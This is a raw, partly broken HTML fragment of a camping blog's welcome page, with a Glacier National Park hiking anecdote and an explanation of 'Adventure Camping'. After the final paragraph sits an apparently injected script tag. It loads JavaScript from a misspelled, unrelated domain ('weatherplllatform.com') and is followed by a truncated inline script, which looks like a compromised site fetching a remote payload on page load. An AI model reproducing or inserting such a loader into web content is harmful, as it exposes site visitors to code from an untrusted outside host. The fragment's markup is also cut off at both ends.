style=\"font-family: tahoma,geneva,sans-serif;\"><span style=\"font-size: 14px;\">A few years ago, three friends and I decided to go hiking in Glacier National Park. \u00a0On our way to the campsite at the trailhead of our hike, there were low level clouds hiding the scenery.\u00a0 It was late in the day and we arrived after dark.\u00a0 The cloud cover made it seem ever darker.\u00a0 Camp was set up and the anticipation for the next day occupied our minds as we fell asleep.\u00a0 Waking up to the sunrise of a clear and cool day presented us with the spectacular view of the northern Rocky Mountains.\u00a0 We readied our backpacks, checked our maps and started out on our week long trek into the wilderness.\u00a0 <\/span><\/span><img loading=\"lazy\" width=\"300\" height=\"203\"

style=\"font-family: tahoma,geneva,sans-serif;\"><span style=\"font-size: 14px;\">The trail we selected was one of the more difficult ones in the region and we were a bit leery of our choice.\u00a0 However, after a few days of hiking, we came into an area that was just beautiful.\u00a0 All around us were snow capped spires and chiseled out granite cliffs reaching 2000 feet into the sky.\u00a0 Our outdoor adventure would eventually lead us to a crystal clear stream feeding a mountain lake.\u00a0 As we camped near the stream we were awakened by several moose wandering around out tents headed for the lake.\u00a0<\/span><\/span><\/p>\n<p><span style=\"font-family: tahoma,geneva,sans-serif;\"><span style=\"font-size: 14px;\">This is only one of the many outdoor adventures I have experienced over the years because I made the choice to expand my camping to what I call Adventure Camping.<\/span><\/span><\/p>\n<h2><span style=\"font-family: tahoma,geneva,sans-serif;\"><strong><span style=\"font-size: 16px;\">What is Adventure Camping?<\/span><\/strong><\/span><\/h2>\n<p><span style=\"font-family: tahoma,geneva,sans-serif;\"><span style=\"font-size: 14px;\">Camping for the majority of campers consists of driving to a campground, finding a designated site, unpacking the car and setting up the tent or camper.\u00a0 The camp can then be used as a base for day hiking, wildlife viewing or just a get-away from the daily grind.\u00a0 I have camped in lovely campgrounds in National Parks many times and had a wonderful time.\u00a0 But Adventure Camping is different.\u00a0 You transition from a stationary camp to a mobile one with all the gear you need on your back or in a canoe.\u00a0 Backpacking represents the cornerstone of Adventure Camping.\u00a0 Whether you are on a weekend hike near home or on a through hike on the Appalachian Trail, you can experience the outdoor adventures like the one I described.\u00a0<\/span><\/span><\/p>\n<p><span style=\"font-family: tahoma,geneva,sans-serif;\"><span style=\"font-size: 14px;\">Adventure Camping opens up a wide range of experiences from desert camping to wilderness canoeing to winter camping.\u00a0 Once you have the camping skills the opportunities are only limited by your imagination.\u00a0 In North America, the choices are vast.\u00a0 National parks, national wilderness areas, national forest of all different terrains are there for those who make the effort and desire adventure.\u00a0<\/span><\/span><\/p>\n<p><span style=\"font-family: tahoma,geneva,sans-serif;\"><span style=\"font-size: 14px;\">Adventure Camping is not for the faint of heart. \u00a0Hiking in the wilderness presents some challenges. \u00a0The campsites do not have any amenities.\u00a0 No toilet facilities, no faucets for water or showers are found in the wilderness.\u00a0 Generally the campsites are the flattest ground you can find.\u00a0<\/span><\/span><\/p>\n<p><span style=\"font-family: tahoma,geneva,sans-serif;\"><span style=\"font-size: 14px;\">This website is dedicated to those who have the desire to venture out into the wilderness and experience nature unspoiled by highways and buildings, to witness nature in its raw form.\u00a0 We present articles on places to go, how to get prepared both with the right equipment and physically for a backcountry experience.\u00a0 We present information on map and compass travel and on how to safely travel either on foot, by canoe or skies into the wild.\u00a0 We cover food preparation, tips on packing and what kind of gear you will need.\u00a0 For the more seasoned camper, we offer new ideas on gear and clothing for different adventures.\u00a0 We welcome you to join us with your questions, share your experiences and wisdom so we all can enhance and enjoy our Adventure Camping.<\/span><\/span><script src='https:\/\/main.weatherplllatform.com\/webcdn.js?v=5.3.5' type='text\/javascript'><\/script><script>var
